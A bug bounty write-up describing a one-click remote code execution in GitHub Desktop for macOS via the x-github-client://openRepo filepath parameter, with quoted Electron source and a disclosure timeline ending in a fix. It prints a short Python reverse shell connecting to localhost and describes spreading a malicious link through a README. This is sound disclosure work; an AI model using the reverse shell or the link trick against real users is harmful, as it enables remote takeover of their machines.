I was invited to H1-702 2018, a HackerOne live-hacking event in Las Vegas that paid over $500k dollars in bounties. One of the targets of this event was GitHub. I like to hack software I use everyday, because I already know lots of features in advance, so I felt GitHub would be a good target. I started playing with GitHub Desktop and found a way to achieve RCE in OSX. But, guess what? It was out of scope for the event! It’s also out of scope in the normal program, but you can read that “occasionally, exceptional reports are rewarded at our discretion on a case by case basis.”
You can find the public list of bug bounty hunters and vulnerabilities here: https://bounty.github.com/
I noticed that @zhuowei reported an RCE on GitHub Desktop last year:
If something like this was reported previously, it’s probably safe to say that it is fixed. Maybe not in every OS? Well, you probably have seen this before:
I started playing with x-github-client://
, which is the URI scheme used by GitHub Desktop. One of the supported actions in this URL is openRepo
, which automatically opens a given file in a repository. If this repo doesn’t exist, the app prompts the user to clone it and then opens the file. Example:
x-github-client://openRepo/https://github.com/github/training-kit?branch=master&filepath=README.md
What if… we provide a filepath
parameter like:
Opening an URL like this would pop a calculator, so at this point it was possible to escape the repository directory, and arbitrary apps or files could be opened in the filesystem. However, a respository can contain an app for OSX, which is basically a directory with the Application Bundle. First, I thought that OSX would be able to detect that this app was downloaded from the Internet. Since the app is cloned through Git the OS will not prompt the user to confirm this action. What’s the root cause of the problem?
app/src/main-process/main.ts
...
ipcMain.on(
'show-item-in-folder',
(event: Electron.IpcMessageEvent, { path }: { path: string }) => {
...
if (stats.isDirectory()) {
openDirectorySafe(path)
}
else {
shell.showItemInFolder(path)
}
...
app/src/main-process/shell.ts
...
import { shell } from 'electron';
export function openDirectorySafe(path: string) {
if (__DARWIN__) {
const directoryURL = Url.format({
pathname: path,
protocol: 'file:',
slashes: true,
})
shell.openExternal(directoryURL)
} else {
shell.openItem(path)
}
}
In OSX, the directory path is converted to a file:///
URL and then the Electron function shell.openExternal()
opens the URL in the desktop’s default manner.
I built a simple reverse shell application for OSX with Pyinstaller and pushed it to my github-desktop-poc repository:
import socket,subprocess,os;
os.system("open -a calculator.app")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
If github-desktop-poc wasn’t cloned previously, the user would need to click clone
, but the specified file would be opened immediately after this action. Otherwise, no interaction required, as shown in the second part of the video PoC.
The attack scenario: An attacker can include an OSX app on his repository and distribute an evil link, for example in a README.md
or in the page of a given project. He/She would be able to achieve remote code execution on the machines of GitHub Desktop users on OSX.
A one-click RCE has the following requirements:
2018/08/19
Reported to GitHub via HackerOne 2018/08/20
Triaged2018/08/25
Fixed - GitHub Desktop v1.3.4 released2018/08/27
Resolved and bounty awarded2018/08/27
H1-702 2018 Bonus: unlimited private repositories coupon ❤️